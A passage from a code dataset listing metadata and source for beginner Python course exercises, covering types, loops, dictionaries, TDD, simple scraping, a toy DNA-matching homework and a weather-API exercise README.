"num_lines": 5,
"path": "/python_00400_functions/example_01420_imports_special_dunder____advanced____.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# dunder stands for \"double underscore\"\n# they are magic variables in python with special meanings and usages\n\nprint __name__\nprint __file__"
},
{
"alpha_fraction": 0.6521739363670349,
"alphanum_fraction": 0.6521739363670349,
"avg_line_length": 15,
"blob_id": "8897c620667235b884ca43bdc1909559613dbe78",
"content_id": "8f81ba734710a21235d4d18e3b2cb5a8545bae2f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 138,
"license_type": "no_license",
"max_line_length": 35,
"num_lines": 8,
"path": "/python_00100_datatypes_calculator/example_00101_more_prints.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# print macht immer eine neue Zeile\r\nprint \"Hello \"\r\nprint \"World!\"\r\n\r\n\r\n# ausser man setzt ein Komma\r\nprint \"Hello \",\r\nprint \"World!\"\r\n\r\n"
},
{
"alpha_fraction": 0.6666666865348816,
"alphanum_fraction": 0.6666666865348816,
"avg_line_length": 29.375,
"blob_id": "bb004922fad704306f2c07402f724498ca92ed63",
"content_id": "a8ba9505f8e126a40555e3912168f59eae29bf68",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 243,
"license_type": "no_license",
"max_line_length": 70,
"num_lines": 8,
"path": "/python_00200_inputs_loops_lists_dicts/python_00200_inputs_loops_lists_dicts/example_00620_while_loop_with_input_exercise_2.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# Schreibe eine while Schleife\n# sie bricht nur dann ab, wenn der User \"yes\" oder \"no\" eingegeben hat\n\nanswer = None\nwhile answer not in [\"yes\", \"no\"]:\n answer = raw_input(\"Enter yes or no:\")\nelse:\n print (\"You typed {}\".format(answer))\n"
},
{
"alpha_fraction": 0.564051628112793,
"alphanum_fraction": 0.5650447010993958,
"avg_line_length": 18,
"blob_id": "11159f9cf6c9ac9d59e019647e2f8d2088f443a0",
"content_id": "514c842c9c5a8b1a48faa511c1c43b059b1eb01f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2014,
"license_type": "no_license",
"max_line_length": 73,
"num_lines": 106,
"path": "/python_00300_files_jsons_dicts/hw_forensics.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# Features\nHair_color = {\n \"Black\": \"CCAGCAATCGC\",\n \"Brown\": \"GCCAGTGCCG\",\n \"Blonde\": \"TTAGCTATCGC\"}\n\nFace_shape={\n \"Square\": \"GCCACGG\",\n \"Round\": \"ACCACAA\",\n \"Oval\": \"AGGCCTCA\",\n}\n\nEye_color={\n \"Blue\": \"TTGTGGTGGC\",\n \"Green\": \"GGGAGGTGGC\",\n \"Brown\": \"AAGTAGTGAC\",\n}\n\nGender={\n \"Female\": \"TGAAGGACCTTC\",\n \"Male\": \"TGCAGGAACTTC\",\n}\n\n\nRace={\n \"White\": \"AAAACCTCA\",\n \"Black\": \"CGACTACAG\",\n \"Asian\": \"CGCGGGCCG\",\n}\n\n\n# Suspects\nEva={\n \"Gender\": \"Female\",\n \"Race\": \"White\",\n \"Hair_color\": \"Blonde\",\n \"Eye_color\": \"Blue\",\n \"Face_shape\": \"Oval\",\n}\n\n\nLarisa={\n \"Gender\": \"Female\",\n \"Race\": \"White\",\n \"Hair_color\": \"Brown\",\n \"Eye_color\": \"Brown\",\n \"Face_shape\": \"Oval\",\n}\n\n\nMatej={\n \"Gender\": \"Male\",\n \"Race\": \"White\",\n \"Hair_color\": \"Black\",\n \"Eye_color\": \"Blue\",\n \"Face_shape\": \"Oval\",\n}\n\n\nMiha={\n \"Gender\": \"Male\",\n \"Race\": \"White\",\n \"Hair_color\": \"Brown\",\n \"Eye_color\": \"Green\",\n \"Face_shape\": \"Square\",\n}\n\n# found dna\n\nwith open(\"dna.txt\",\"r\") as f:\n dna=f.read()\n\n\nfeatures_names = [\"Hair_color\", \"Face_shape\",\"Eye_color\",\"Gender\",\"Race\"]\nfeatures_list = [Hair_color,Face_shape,Eye_color,Gender,Race]\nfeature_with_name = zip(features_names, features_list)\n\n\nsuspects_names = [\"Miha\", \"Eva\", \"Larisa\",\"Matej\"]\nsuspects_list = [Miha, Eva, Larisa, Matej]\nsuspects_with_name = zip(suspects_names, suspects_list)\n\n\nfound_features = {}\n\n# finding features:\nfor name, feature in feature_with_name:\n for key, val in feature.iteritems():\n if val in dna:\n found_features[name]=key\n print \"Found \", name, \": \", key\n break\n\n\nfor name, suspect in suspects_with_name:\n print\n print \"Examining\", name\n for feature,suspect_value in suspect.iteritems():\n print \"Checking\", feature\n if found_features[feature] != suspect_value:\n print \"No Match\"\n print \"-\"*10\n break\n else:\n print \"The criminal was:\", name\n break\n"
},
{
"alpha_fraction": 0.7431034445762634,
"alphanum_fraction": 0.7896551489830017,
"avg_line_length": 37.733333587646484,
"blob_id": "5532e39cf68a3b935eb3aca7290699090e3c299b",
"content_id": "ba17e27c4442615392cd45f4de18908a4e914a49",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 580,
"license_type": "no_license",
"max_line_length": 106,
"num_lines": 15,
"path": "/WD1-GAE/gae_00500__authentication_jsonapi/example_01140__jsonapi_multiple_cities_exercise_solution/README.md",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# API for Openwethermap.org\nhttp://openweathermap.org/api\n\n#By city name\nhttp://openweathermap.org/current#name\n\n#Example call for london\nhttp://samples.openweathermap.org/data/2.5/weather?q=London,uk&appid=b1b15e88fa797225412429c1c50c122a1\n\n# Exercise:\nThe mission is to create a website with weather information and links buttons or links for several cities.\nIf the user arrives on the website, the weather of london is displayed\nIf the user clicks on a button/link, the weather of that city is displayed.\n\nhint: use `webapp2.Route('/<city:\\w+>', WeatherHandler)` in your routes"
},
{
"alpha_fraction": 0.6877636909484863,
"alphanum_fraction": 0.7046413421630859,
"avg_line_length": 19.363636016845703,
"blob_id": "ccaf3555bd917f67cca44ec4c019fdf93fffe1b7",
"content_id": "cfa7b153c5412b10bab50942bdaf235ca5fcdeef",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 237,
"license_type": "no_license",
"max_line_length": 57,
"num_lines": 11,
"path": "/python_00100_datatypes_calculator/example_00210_operations_integers_with_variables_exercise_solution.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# nehme 2 und 10 und weise variablen zu und dividiere sie\r\n# printe das ergebnis\r\n\r\n\r\n# nehme deinen Vor- und Nachnamen als Strings,\r\n# addiere sie zu einer neuen Variable\r\n# printe sie\r\n\r\n\r\n# teile eine zahl durch 0\r\n# was passiert?\r\n\r\n"
},
{
"alpha_fraction": 0.4329896867275238,
"alphanum_fraction": 0.4329896867275238,
"avg_line_length": 31.33333396911621,
"blob_id": "3a7175a59ea123a90759b60f1b3e3cdbab5af8d4",
"content_id": "b31d1cb54824dc1a6b066f2814b71fbc79c87ebb",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 97,
"license_type": "no_license",
"max_line_length": 41,
"num_lines": 3,
"path": "/python_00200_inputs_loops_lists_dicts/python_00200_inputs_loops_lists_dicts/example_00700_in.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "print \"a\" in \"abc\" # True\nprint \"d\" in \"abc\" # False\nprint \"%\" in [\"!\", \"/\", \"%\", \"?\"] # True\n"
},
{
"alpha_fraction": 0.29378530383110046,
"alphanum_fraction": 0.38418078422546387,
"avg_line_length": 42.25,
"blob_id": "4a9679a953b0f6fa9ca8d8868d264037082970b9",
"content_id": "e6d732f19465641a0182d01cf3bc7b9ead5c378e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 177,
"license_type": "no_license",
"max_line_length": 43,
"num_lines": 4,
"path": "/python_00100_datatypes_calculator/example_00120_types____advanced____.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "print [1, 2, 3, 4] # list\r\nprint [\"1\", 2, False, -4.32] # list\r\nprint (3, 2, 456) # tuple\r\nprint {\"name\": \"pat\", \"age\": 12} # dict\r\n"
},
{
"alpha_fraction": 0.46568626165390015,
"alphanum_fraction": 0.5245097875595093,
"avg_line_length": 12.571428298950195,
"blob_id": "f139274030aac0a71c2144efec76a3942d0549a9",
"content_id": "30ce03138d11daa6cf5555361ac517ceda5a75ac",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 204,
"license_type": "no_license",
"max_line_length": 24,
"num_lines": 14,
"path": "/python_00100_datatypes_calculator/example_00230_operations_integers_augmented_operators.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "counter = 1\r\nprint counter # 1\r\n\r\ncounter += 1\r\nprint counter # 2\r\n\r\ncounter -= 1\r\nprint counter # 1\r\n\r\ncounter *= 10\r\nprint counter # 10\r\n\r\ncounter /= 5\r\nprint counter # 2\r\n"
},
{
"alpha_fraction": 0.4000000059604645,
"alphanum_fraction": 0.49473685026168823,
"avg_line_length": 26.14285659790039,
"blob_id": "9b7cd1cbd99454ab60fa91ce34a3d7e0c0ded396",
"content_id": "aeac263a175fc8eb25058188e08f1883d0988537",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 190,
"license_type": "no_license",
"max_line_length": 76,
"num_lines": 7,
"path": "/python_00300_files_jsons_dicts/example_01100_dictionaries_create.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "a_dict = {}\npoints = {\"alfred\": 10,\n \"bettina\": 100,\n \"christian\": 50,\n \"doris\": 75}\n\nprint points # {'christian': 50, 'bettina': 100, 'doris': 75, 'alfred': 10}\n"
},
{
"alpha_fraction": 0.6558265686035156,
"alphanum_fraction": 0.6720867156982422,
"avg_line_length": 19.58823585510254,
"blob_id": "f06c99e1f4a10314fad8db51cc7d37106dd7228a",
"content_id": "068074d95df8b9ea5f3a3008d7b2fc6bfdc33934",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 369,
"license_type": "no_license",
"max_line_length": 72,
"num_lines": 17,
"path": "/python_00100_datatypes_calculator/example_00320_casting_exercise.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# print the type of the variable number\r\nnumber = 1\r\nprint type(number)\r\n\r\n# cast number to a string and print its type\r\nnumber = \"number\"\r\nprint type(number)\r\n\r\n\r\n\r\n# cast the string digit_string to a float\r\ndigit_string = \"2.0\"\r\nprint type(float(digit_string))\r\n\r\n\r\n# # try to cast the following string to a number, what error do you get?\r\nstring = \"1..2..3..Go!\"\r\n\r\n"
},
{
"alpha_fraction": 0.5968169569969177,
"alphanum_fraction": 0.6551724076271057,
"avg_line_length": 21.176469802856445,
"blob_id": "b78464bf0cec704a798a8fcbdf1ea23491b4d83b",
"content_id": "30d5dbe13059b9b30c027004e0f4b94dfdf9f9f0",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 377,
"license_type": "no_license",
"max_line_length": 57,
"num_lines": 17,
"path": "/python_00400_functions/example_01440_imports_as.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# It is possible to abbreviate imported modules with 'as'\nimport example_01410_math_func_src as CALC\n\n\ndef check_addition():\n assert CALC.addition(10, 20) == 30\n assert CALC.addition(10, -10) == 0\n\n\ndef check_subtraction():\n assert CALC.subtraction(10, 20) == -10\n\n\nif __name__ == '__main__':\n check_addition()\n check_subtraction()\n print(\"Passed all tests\")\n"
},
{
"alpha_fraction": 0.4095238149166107,
"alphanum_fraction": 0.6571428775787354,
"avg_line_length": 15.5,
"blob_id": "64d446fa8f14b079620a0c75baab8cbf796792d9",
"content_id": "8dede2fd82462af355819a52aae980953b13962a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 105,
"license_type": "no_license",
"max_line_length": 32,
"num_lines": 6,
"path": "/python_00100_datatypes_calculator/example_00200_operations_integers_exercise.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# add the numbers 100, 120, 130\r\nprint 100+120+130\r\n\r\n\r\n# check if 123 is divisible by 3\r\nprint 123 % 3\r\n"
},
{
"alpha_fraction": 0.5986841917037964,
"alphanum_fraction": 0.625,
"avg_line_length": 24.33333396911621,
"blob_id": "44930c10d45148762721dbedad669d18a90e9748",
"content_id": "2d1ace1fbc545715c8dec4a42dee12d44f93632e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 152,
"license_type": "no_license",
"max_line_length": 45,
"num_lines": 6,
"path": "/python_00600_webscrapen/example_01705_scraping_get_webpage.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "import urllib2\n\nif __name__ == '__main__':\n url = 'https://scrapebook22.appspot.com/'\n response = urllib2.urlopen(url).read()\n print(response)\n"
},
{
"alpha_fraction": 0.5333333611488342,
"alphanum_fraction": 0.5333333611488342,
"avg_line_length": 20,
"blob_id": "03f3158a0431bbd3be39a0c79fcaf3dba192abd0",
"content_id": "94d16bba0dbf93fcd6b0458a5372606d1f97ae46",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 45,
"license_type": "no_license",
"max_line_length": 29,
"num_lines": 2,
"path": "/python_00400_functions/example_01300_functions_define.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "\ndef func():\n print(\"Hi, this is main\")\n\n\n"
},
{
"alpha_fraction": 0.7006960511207581,
"alphanum_fraction": 0.7215777039527893,
"avg_line_length": 21.6842098236084,
"blob_id": "8391cc7691c20cb395cafeffee5f41906021d02b",
"content_id": "cb07e1116df2c619672d01d715ddb546277b633c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 431,
"license_type": "no_license",
"max_line_length": 60,
"num_lines": 19,
"path": "/python_00300_files_jsons_dicts/example_01133_dictionaries_iterate_items_exercise_2.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# coding=utf-8\n# create a for loop, which iterates through all meals\n# print the meal and the price each iteration\nshoppinglist = {\"bread\": 100, \"butter\": 90, \"avocado\": 10}\n\nfor meal in shoppinglist:\n print meal, shoppinglist[meal]\n\n\n\n# Extra: sum up all prices and print the total shopping cost\n\nprice = sum(shoppinglist.values())\nprint price\n\ntotal = 0\nfor meal, price in shoppinglist.items():\n total += price\nprint total\n"
},
{
"alpha_fraction": 0.5813953280448914,
"alphanum_fraction": 0.6017441749572754,
"avg_line_length": 25.461538314819336,
"blob_id": "e36fa6cea96a8a06c9858e827ba62fce42713df9",
"content_id": "8a06d868f81abf72fa8fa99d3560271416cad717",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 344,
"license_type": "no_license",
"max_line_length": 45,
"num_lines": 13,
"path": "/python_00600_webscrapen/questions_1_entrys_of_table.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "import urllib2\nimport BeautifulSoup as BS\n\nif __name__ == '__main__':\n url = 'https://scrapebook22.appspot.com/'\n response = urllib2.urlopen(url).read()\n soup = BS.BeautifulSoup(response)\n\n rows = soup.tbody.findAll(\"tr\")\n for row in rows:\n datas = row.findAll(\"td\")\n print(\"*\" * 20)\n print(datas[0].string)\n"
},
{
"alpha_fraction": 0.6195899844169617,
"alphanum_fraction": 0.6378132104873657,
"avg_line_length": 11.911765098571777,
"blob_id": "7bdc999797dfb4e62e1c8e28485816970f23bdd9",
"content_id": "bcc823400cb3ce5257ba1dacdaf0b3ac31b57650",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 439,
"license_type": "no_license",
"max_line_length": 41,
"num_lines": 34,
"path": "/python_00400_functions/example_01350_exercise_math_functions.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# create functions for + - * / operations\n\n\ndef add(a, b):\n ergebnis = a + b\n return ergebnis\n\n\ndef minus(a, b):\n ergebnis = a - b\n return ergebnis\n\n\ndef multiply(a, b):\n ergebnis = a*b\n return ergebnis\n\n\ndef divide(a, b):\n ergebnis = a/b\n return ergebnis\n\n\nergebnis = add(1, 2)\nprint ergebnis\n\nergebnis = minus(3, 1)\nprint ergebnis\n\nergebnis = multiply(4, 2)\nprint ergebnis\n\nergebnis = divide(6, 2)\nprint ergebnis\n"
},
{
"alpha_fraction": 0.7796609997749329,
"alphanum_fraction": 0.7796609997749329,
"avg_line_length": 10.800000190734863,
"blob_id": "a8448e2593f88007f6223f0d49c9a387f42af782",
"content_id": "bf3d0c921efbeb9f3c9349f06066bd3e8d5661d0",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Text",
"length_bytes": 59,
"license_type": "no_license",
"max_line_length": 17,
"num_lines": 5,
"path": "/Python/todo.txt",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "Completed tasks:\n- gardening\n\nIncomplete tasks:\n- homework\n"
},
{
"alpha_fraction": 0.591093122959137,
"alphanum_fraction": 0.6680161952972412,
"avg_line_length": 30,
"blob_id": "9dd57f85ce60ddeb28ccbaa8bab0a6cc12c41b78",
"content_id": "80e25ca03f6e87b0af591e4318d06fa6ec54fadf",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 247,
"license_type": "no_license",
"max_line_length": 69,
"num_lines": 8,
"path": "/python_00400_functions/example_01435_tdd_exercise_1_solution.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# (1/3 part exercise)\n# TDD Exercise 1:\n# create a test\n# it should test for correct subtraction of 2 numbers from each other\ndef test_subtract():\n assert subtract(10, 5)==5\n assert subtract(10, -20) == -10\n assert subtract(-10, 5) == -15"
},
{
"alpha_fraction": 0.43202418088912964,
"alphanum_fraction": 0.45619335770606995,
"avg_line_length": 45.28571319580078,
"blob_id": "ec63873d42224eb95dc6f820cd35860d6cf4c09a",
"content_id": "d1bbb64794f305ad7b00e8797769e63a96bc0be5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 662,
"license_type": "no_license",
"max_line_length": 71,
"num_lines": 14,
"path": "/python_00100_datatypes_calculator/example_00131_check_types____advanced____.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "print type(1) # <type 'int'>\r\nprint type(1.) # <type 'float'>\r\nprint type(1L) # <type 'long'>\r\nprint type(1+3j) # <type 'complex'>\r\nprint type(\"hello\") # <type 'str'>\r\nprint type([1,2,3]) # <type 'list'> # mutable\r\nprint type((1,2,3)) # <type 'tuple'> # immutable\r\nprint type({\"name\": \"pat\", \"age\": 12}) # <type 'dict'>\r\n\r\n\r\n# use is_instance to check the type, they will give a bool\r\nprint isinstance(1, int) # True\r\nprint isinstance(1, float) # False\r\nprint isinstance(1, str) # False\r\n"
},
{
"alpha_fraction": 0.5415282249450684,
"alphanum_fraction": 0.6079733967781067,
"avg_line_length": 20.5,
"blob_id": "3934b068fe52ae31837112bb3121a5d418baa46c",
"content_id": "e85d01f26e82e7db31dda5eedcf0cd6937f17f99",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 301,
"license_type": "no_license",
"max_line_length": 47,
"num_lines": 14,
"path": "/python_00400_functions/example_01432_tdd_make_function_pass_the_tests.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# Step 3:\n# change the function until it passes all tests\n\ndef check_addition():\n assert addition(10, 20) == 30\n assert addition(10, -10) == 0\n assert addition(10.12, -2) == 8.12\n\ndef addition(x,y):\n return x+y\n\nif __name__ == '__main__':\n check_addition()\n print \"Passed all tests\"\n"
},
{
"alpha_fraction": 0.6436567306518555,
"alphanum_fraction": 0.6511194109916687,
"avg_line_length": 24.799999237060547,
"blob_id": "da47ee1c347f20315e7c5584b4810b4f57c59d93",
"content_id": "ba2ec549dc97890f89037dbcc76469053dddbfc4",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 536,
"license_type": "no_license",
"max_line_length": 74,
"num_lines": 20,
"path": "/python_00100_datatypes_calculator/example_00400_operations_bools.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "print True\r\nprint False\r\n\r\n\r\nprint (True and False) # -> False\r\nprint (True or False) # -> True\r\n\r\n\r\nsmall_number = 2\r\nbig_number = 100\r\n\r\nprint small_number > big_number # False\r\nprint small_number < big_number # True\r\nprint small_number == big_number # False\r\nprint small_number != big_number # True\r\nprint small_number is big_number # False\r\nprint id(small_number), id(big_number)\r\nprint small_number is not big_number # False\r\n\r\nprint \"small_number > big_number: \", small_number > big_number # -> False\r\n"
},
{
"alpha_fraction": 0.5950570106506348,
"alphanum_fraction": 0.6311787366867065,
"avg_line_length": 24.047618865966797,
"blob_id": "e4435afee7062fe4bc0fcd87d4a5755e343c39e1",
"content_id": "02f1b44b4db8a8480d86142f8fe75c3f195a384e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 526,
"license_type": "no_license",
"max_line_length": 72,
"num_lines": 21,
"path": "/python_00400_functions/hw_lottery_numbers.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# complete a function which generates lottery numbers and returns a list\nimport random\n\n\n# def lottery_generator():\n# return random.sample(range(1, 50), 6)\n\n\ndef lottery_generator():\n lottery_numbers = []\n while len(lottery_numbers) < 6:\n new_number = random.randint(1, 49)\n # if new_number in lottery_numbers:\n # continue\n\n lottery_numbers.append(new_number)\n\n # set([1,2,3,4,5,5]) -> {1,2,3,4,5}\n lottery_numbers = list(set(lottery_numbers))\n\n return lottery_numbers\n"
},
{
"alpha_fraction": 0.6770601272583008,
"alphanum_fraction": 0.6971046924591064,
"avg_line_length": 20.549999237060547,
"blob_id": "8b9277bfc0cd506c454e8b0ac87cee7796bb4663",
"content_id": "11fb1584df7c6eddc22cfb3f57ac1c75248bb47a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 449,
"license_type": "no_license",
"max_line_length": 70,
"num_lines": 20,
"path": "/python_00100_datatypes_calculator/example_00320_casting_exercise_solution.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# print the type of the variable number\r\nnumber = 1\r\nprint type(number)\r\n\r\n# cast number to a string and print its type\r\nnumber_text = str(number)\r\nprint number_text\r\nprint type(number_text)\r\n\r\n\r\n# cast the string digit_string to a float\r\ndigit_string = \"123.12\"\r\ndigit_float = float(digit_string)\r\nprint digit_string\r\n\r\n\r\n# try to cast the following string to a number, what error do you get?\r\nstring = \"1..2..3..Go!\"\r\n\r\n# int(string) -> ValueError"
},
{
"alpha_fraction": 0.5480226278305054,
"alphanum_fraction": 0.6214689016342163,
"avg_line_length": 26.65625,
"blob_id": "1c664cf3accb7b96bb1045523e943782fb2791a5",
"content_id": "05f5ab7a0684dfc144079d8ccdbc6e068e676fe9",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1770,
"license_type": "no_license",
"max_line_length": 68,
"num_lines": 64,
"path": "/python_00400_functions/example_01450_imports_exercise_tdd____advanced____.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# first write tests for functions to square numbers and cube numbers\n# then write functions which pass the tests\n\n\ndef square_numbers(number):\n return number*number\n\n\ndef check_square():\n assert square_numbers(1) == 1\n assert square_numbers(2) == 4\n assert square_numbers(3) == 9\n assert square_numbers(4) == 16\n assert square_numbers(5) == 25\n assert square_numbers(6) == 36\n assert square_numbers(7) == 49\n assert square_numbers(8) == 64\n assert square_numbers(9) == 81\n assert square_numbers(10) == 100\n\n assert square_numbers(-1) == 1\n assert square_numbers(-2) == 4\n assert square_numbers(-3) == 9\n assert square_numbers(-4) == 16\n assert square_numbers(-5) == 25\n assert square_numbers(-6) == 36\n assert square_numbers(-7) == 49\n assert square_numbers(-8) == 64\n assert square_numbers(-9) == 81\n assert square_numbers(-10) == 100\n\n\ndef cube_numbers(number):\n return number * number * number\n\n\ndef check_cube():\n assert cube_numbers(1) == 1\n assert cube_numbers(2) == 8\n assert cube_numbers(3) == 27\n assert cube_numbers(4) == 64\n assert cube_numbers(5) == 125\n assert cube_numbers(6) == 216\n assert cube_numbers(7) == 343\n assert cube_numbers(8) == 512\n assert cube_numbers(9) == 729\n assert cube_numbers(10) == 1000\n\n assert cube_numbers(-1) == -1\n assert cube_numbers(-2) == -8\n assert cube_numbers(-3) == -27\n assert cube_numbers(-4) == -64\n assert cube_numbers(-5) == -125\n assert cube_numbers(-6) == -216\n assert cube_numbers(-7) == -343\n assert cube_numbers(-8) == -512\n assert cube_numbers(-9) == -729\n assert cube_numbers(-10) == -1000\n\n\nif __name__ == '__main__':\n check_square()\n check_cube()\n print(\"Test successful\")\n"
},
{
"alpha_fraction": 0.7089040875434875,
"alphanum_fraction": 0.7089040875434875,
"avg_line_length": 15.166666984558105,
"blob_id": "875c9dc629ebc9ca778b4a2ef8015d5c05c3a4ac",
"content_id": "e9f14d0a85dcb321405e4e8f7f13a7397c140886",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 292,
"license_type": "no_license",
"max_line_length": 46,
"num_lines": 18,
"path": "/python_00300_files_jsons_dicts/example_01120_dictionaries_del_update____advanced____.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "\nfriends_dict = {}\n\nfriends_dict[\"Monika\"] = \"Good Friend\"\nfriends_dict[\"Moritz\"] = \"Bad Friend\"\n\nprint friends_dict\n\ndel friends_dict[\"Moritz\"]\n\nprint friends_dict\n\nfriends_dict[\"Moritz\"] = \"Bad Friend\"\n\nprint friends_dict\n\nfriends_dict.update({\"Moritz\": \"Good Friend\"})\n\nprint friends_dict\n"
},
{
"alpha_fraction": 0.6590257883071899,
"alphanum_fraction": 0.6848137378692627,
"avg_line_length": 19.52941131591797,
"blob_id": "7dc31f8b4637c4133da7d57b240e01cd15bc2327",
"content_id": "aa282200d59a56f3e9969f2660c5be961370aba3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 349,
"license_type": "no_license",
"max_line_length": 44,
"num_lines": 17,
"path": "/python_00500_classes/example_01610_classes_instances_exercise.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "class Robot(object):\n def __init__(self, model, mission):\n self.model = model\n self.mission = mission\n\n\nroboter = Robot(\"HAL9000\", \"protect humans\")\n\nprint(roboter.model)\nprint(roboter.mission)\n\n\n# create 1 instance of Robot\n# give it the model \"HAL9000\"\n# give it the mission \"protect humans\"\n# print its model\n# print its mission\n"
},
{
"alpha_fraction": 0.5511550903320312,
"alphanum_fraction": 0.6105610728263855,
"avg_line_length": 20.714284896850586,
"blob_id": "e0db5af5a701e96584ddefeda01e09247815f6fe",
"content_id": "4108412f805ae3b3874a713e2e18d4060da11c43",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 303,
"license_type": "no_license",
"max_line_length": 35,
"num_lines": 14,
"path": "/python_00400_functions/example_01435_tdd_exercise_2_solution.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "# (2/3 part exercise)\n# TDD Exercise 2:\n# now add the empty function\n# call the test (which should fail)\ndef test_subtract():\n assert subtract(10, 5)==5\n assert subtract(10, -20) == -10\n assert subtract(-10, 5) == -15\n\ndef subtract(x,y):\n pass\n\nif __name__ == '__main__':\n test_subtract()"
},
{
"alpha_fraction": 0.32499998807907104,
"alphanum_fraction": 0.47857141494750977,
"avg_line_length": 15.375,
"blob_id": "1a3a6af20234eae8543a82a587cd2d31cd61038c",
"content_id": "93390490dd439945a0b7938d4d43815f556f3547",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 280,
"license_type": "no_license",
"max_line_length": 30,
"num_lines": 16,
"path": "/python_00100_datatypes_calculator/example_00200_operations_integers.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
"text": "print 3 + 5 # 8\r\nprint 4 * 5 # 20\r\nprint 2 - 10 # -8\r\nprint 4 / 2 # 2\r\n\r\n# Modulo\r\nprint 10 % 3 # 1\r\nprint 10 % 2 # 0\r\nprint 11 % 2 # 1\r\n\r\n# floor division\r\nprint 11 // 3 # 3\r\n\r\nprint 5 / 2 # 2 (integer)\r\nprint 5.0 / 2 # 2.5 (float)\r\nprint 5.0 // 2 # 2.0 (float)\r\n\r\n"
},
{
"alpha_fraction": 0.625,
"alphanum_fraction": 0.625,
"avg_line_length": 18.0625,
"blob_id": "910ff7511a64e15a513845919af7f42cfe81bea0",
"content_id": "005e85e558643b9c8a34f5d24000e4d9c0989b66",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 304,
"license_type": "no_license",
"max_line_length": 65,
"num_lines": 16,
"path": "/WD1-GAE/gae_00500__authentication_jsonapi/example_01010__blog_with_auth/re_test.py",
"repo_name": "jacbut/wd1_2018",
"src_encoding": "UTF-8",
